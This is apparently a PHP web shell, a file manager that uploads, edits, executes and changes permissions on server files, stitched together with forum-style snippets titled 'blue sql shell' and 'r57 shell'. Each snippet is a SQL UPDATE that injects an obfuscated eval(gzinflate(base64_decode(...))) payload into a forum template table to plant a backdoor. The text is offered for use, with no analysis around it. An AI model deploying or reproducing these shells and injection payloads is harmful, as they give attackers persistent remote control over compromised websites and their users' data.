	if (!empty($_POST['user'])) {
		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $charset;
	return htmlentities($string, ENT_COMPAT, $charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $word_charset, $date_format;

	switch ($lang) {
	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$charset" />

<title>kid <> x3q(at)hotmail(dot)com</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: #000000 }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #C0C0C0; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: #808080 }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }

#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<body bgcolor="#969696">
<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>
</html>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

?>
<html>
<head>
<STYLE>
td {
BORDER-RIGHT:  #000000 1 solid;
BORDER-TOP:    #000000 1 solid;
BORDER-LEFT:   #000000 1 solid;
BORDER-BOTTOM: #000000 1 solid;
color: #cccccc;
}
.grey {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #000000;
}
input {
BORDER-RIGHT:  #FF0000 1 solid;
BORDER-TOP:    #FF0000 1 solid;
BORDER-LEFT:   #FF0000 1 solid;
BORDER-BOTTOM: #FF0000 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #ff0000;
}
.txtbox {
BORDER-RIGHT:  #FF0000 1 solid;
BORDER-TOP:    #FF0000 1 solid;
BORDER-LEFT:   #FF0000 1 solid;
BORDER-BOTTOM: #FF0000 1 solid;
BACKGROUND-COLOR: #000000;
font: Fixedsys bold;
color: #FFFFFF;
}
BODY {
color: #FF0000;
background-color: #000000;
}
</STYLE>
</head>
<body>"))}}{${exit()}}&
$_phpinclude_output
' WHERE `title` = 'faq'

blue sql shell:
Code:
UPDATE `template` SET `template` = '$spacer_open
{${eval(gzinflate(base64_decode("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")))}}{${exit()}}&
$_phpinclude_output
' WHERE `title` = 'faq'


r57 shell:

Code:
UPDATE `template` SET `template` = '$spacer_open
{${eval(gzinflate(base64_decode("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